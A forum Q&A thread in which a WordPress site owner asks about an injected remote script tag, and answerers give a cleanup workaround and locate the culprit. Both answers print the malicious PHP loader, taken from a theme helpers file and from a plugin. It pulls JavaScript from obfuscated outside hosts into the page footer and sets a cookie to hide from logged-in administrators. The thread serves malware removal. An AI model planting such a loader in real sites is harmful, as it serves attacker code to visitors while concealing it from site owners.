Finding a link and the file that contains that link in WordPress

Question

I have a web site that is built on WordPress. When the source code is checked (ctrl+u) there is a link that pops up:

  <script type="text/javascript" src="https://www.9iwp.org/jquery.js">

what is it and where would I find it in the source files? It's supposed to be damaging and I need to get rid of it. I've gone through every line of code of every available to me file and don't know where else to look. Any suggestions?

Answer 1

I've solved it by replacing the link to another not considered malware. I haven't been able to locate where the injection is been done, but at least now my site is "safe". You have to add this code at the end of your template's functions.php file:

add_action('wp_footer', 'my_start_footer_ob', 1);
function my_start_footer_ob() {
    ob_start("my_end_footer_ob_callback");
}

add_action('wp_footer', 'my_end_footer_ob', 1000);
function my_end_footer_ob() {
    ob_end_flush();
}

function my_end_footer_ob_callback($buffer) {
    // remove what you need from he buffer
    $buffer = str_replace('www.9iwp.org/jquery.js',"www.mysite.org/wp-content/themes/Mytheme/assets/js/empty.js",$buffer);
    return $buffer;
}

UPDATE!!

I found where it is!

This is the "injection" in one of the template's functions file (in my case framework/functions/helpers.php)

if(!function_exists('wp_func_jquery')) {
    if (!current_user_can( 'read' ) && !isset(${_COOKIE}['wp_min'])) {
        function wp_func_jquery() {
            $host = 'http://';
            $jquery = $host.'lib'.'wp.org/jquery-ui.js';
            $headers = @get_headers($jquery, 1);
            if ($headers[0] == 'HTTP/1.1 200 OK'){
                echo(wp_remote_retrieve_body(wp_remote_get($jquery)));
            }
    }
    add_action('wp_footer', 'wp_func_jquery');
    }
    function wp_func_min(){
        setcookie('wp_min', '1', time() + (86400 * 360), '/');
    }
    add_action('wp_login', 'wp_func_min');
}

Find that function and remove it.

Answer 2

In my site it was embedded on a plugin:

    if(!function_exists('wp_func_jquery')) {
    function wp_func_jquery() {
        $host = 'http://';
        echo(wp_remote_retrieve_body(wp_remote_get($host.'ui'.'jquery.org/jquery-1.6.3.min.js')));
    }
    add_action('wp_footer', 'wp_func_jquery');
    }